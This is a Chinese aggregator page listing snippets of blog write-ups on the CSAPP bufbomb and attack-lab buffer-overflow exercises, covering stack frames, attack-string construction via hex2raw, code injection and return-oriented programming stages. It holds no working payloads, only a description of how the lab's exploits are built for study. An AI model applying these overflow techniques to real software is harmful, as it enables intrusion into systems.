    将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

    完成!

     

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    转载于:https://www.cnblogs.com/wkfvawl/p/10808730.html

    展开全文
  • bufbomb-缓冲区溢出攻击实验

    千次阅读 多人点赞 2019-10-03 05:08:11
    缓冲区溢出攻击 一、实验目的: 加深对IA-32函数调用规则和栈帧结构的理解 二、实验要求: 构造5个攻击字符串,对目标程序实施缓冲区溢出攻击。 5次攻击难度递增,分别命名为 Smoke (让目标程序调用smoke函数...
  • 缓冲区溢出攻击实验【一】(32位)

    千次阅读 2018-06-02 23:05:30
    实验项目名称: 缓冲区溢出攻击实验 一、实验目标:1. 理解程序函数调用中参数传递机制;2. 掌握缓冲区溢出攻击方法;3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。二、实验环境:1. 计算机(Intel CPU)...
  • 思路就是有个函数会一直读字符串,可是对字符串长度没有限制,所以会造成缓冲区溢出,导致堆栈中的其他值被我们修改,达到攻击的目的 目录预备知识实验介绍攻击目标:攻击要求:解释与说明帮助函数:如何提交答案...
  • csapp--缓冲区溢出攻击实验

    千次阅读 2020-01-10 14:24:08
    掌握两种缓冲区攻击方法,进一步理解软件漏洞的危害。 二、实验环境 1.SecureCRT(xx.xxx.xxx.xx) 2.Linux 3.Objdump命令反汇编 4.GDB调试工具 5.。。。。。 三、实验内容 登录xxxx服务器,在hom...
  • BUPT CS:APP lab 3 缓冲区溢出攻击实验

    千次阅读 2019-11-21 22:49:12
    用tar -xvf target.tar指令解压接收到的文件,用objdump -d target/ctarget > ctarget.txt指令和objdump -d target/rtarget >... 阅读实验讲义可知,本关要使得getbuf()函数返回的时候,执行touch1()而...
  • CSAPP 缓冲区溢出攻击实验

    千次阅读 2018-07-10 01:24:56
    实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。实验仅提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容...
  • 缓冲区溢出攻击实验(三)

    千次阅读 2015-11-19 16:30:57
    缓冲区溢出攻击实验(一)(二)分别介绍了先关知识和shellcode机器码的获得,这一篇就阐述怎么利用别人程序中的缓冲区溢出漏洞实施攻击; 三、缓冲区溢出漏洞攻击 1.一个存在缓冲区溢出漏洞的demo  下面的一个demo...
  • CSAPP缓冲区溢出攻击实验(上) 下载实验工具。最新的讲义在这。网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上。只是没有关系,大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异,不影响...
  • CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给出getbuf的反汇编代码和栈结构,方便下面的使用。 栈结构: ...
  • 缓冲区溢出攻击实验(一)

    万次阅读 2015-11-18 20:43:27
    无聊之余,想弄一下缓冲区溢出实验,之前一直听说这个,也没有亲自动手 做一下,发现真正弄起来的时候还是没那么简单的,其实学到的东西还是不少的。特此记下学习的过程。 一、基础知识 这一部分主要是关于程序内存...
  • CSAPP Lab3:attacklab缓冲区溢出攻击实验

    千次阅读 2017-11-07 20:47:28
    参考文章: http://wdxtub.com/2016/04/16/thick-csapp-lab-3/ http://blog.csdn.net/lijun538/article/details/50682387 ... 实验文件,点此下载 实验答案: 请
  • CSAPP:Attack Lab —— 缓冲区溢出攻击实验

    万次阅读 多人点赞 2017-06-05 00:44:34
    CSAPP:Attack Lab —— 缓冲区溢出攻击实验 X86-64寄存器和栈帧 Part I:Code Injection Attacks Part II:Return-Oriented Programming Attacks
  • KALI渗透测试之缓冲区溢出篇章,详细介绍kali的缓冲区溢出工具使用。
  • 主题:[请教]我想实现缓冲区溢出攻击。就是原程序读取一个字符串。我输入一个特殊的字符串,覆盖掉原返回地址,使其执行在栈里的代码。但是当执行到栈里代码时,就会 段错误 而退出。请问这个是不是现在linux内核禁止...
  • 一、溢出目标无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。...
  • 网络攻防实验缓冲区溢出攻击

    千次阅读 2019-07-09 22:10:07
    通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区溢出危害性,并理解防范和避免缓冲区溢出攻击的措施。 二、实验原理和实验环境 实验原理: 缓冲区溢出(Buffer Overflow...
  • 实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲...
  • 缓冲区溢出攻击实验【二】(32位)

    千次阅读 2018-06-11 00:40:19
    步骤2 返回到fizz()并准备相应参数2.1 解题思路 找到fizz()代码如下:08048e60&lt;fizz&gt;: 8048e60: 55 push %ebp 8048e61: 89e5 mov %esp,%ebp 8048e63: 83ec 08 sub ...
  • 缓冲区溢出攻击实验(输出deadbeef)C语言题目源码尝试运行程序观察分析栈内部情况决定使用栈溢出实施使用vs2019打开反汇编使用反汇编构造payload得到结果 C语言题目源码 /* bufbomb.c * * Bomb program that is ...
  • 其实感觉之前做过那个bomb实验以后,这个实验相对来说还是很容易的,主要是要搞懂缓冲区溢出原理,以及堆栈的过程,函数调用的实现过程,做完这个实验如果认认真真的做完,对于堆栈的过程,还有缓存溢出攻击的原理就...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,371
精华内容 1,748
关键字:

缓冲区溢出攻击实验

友情链接: PSO.zip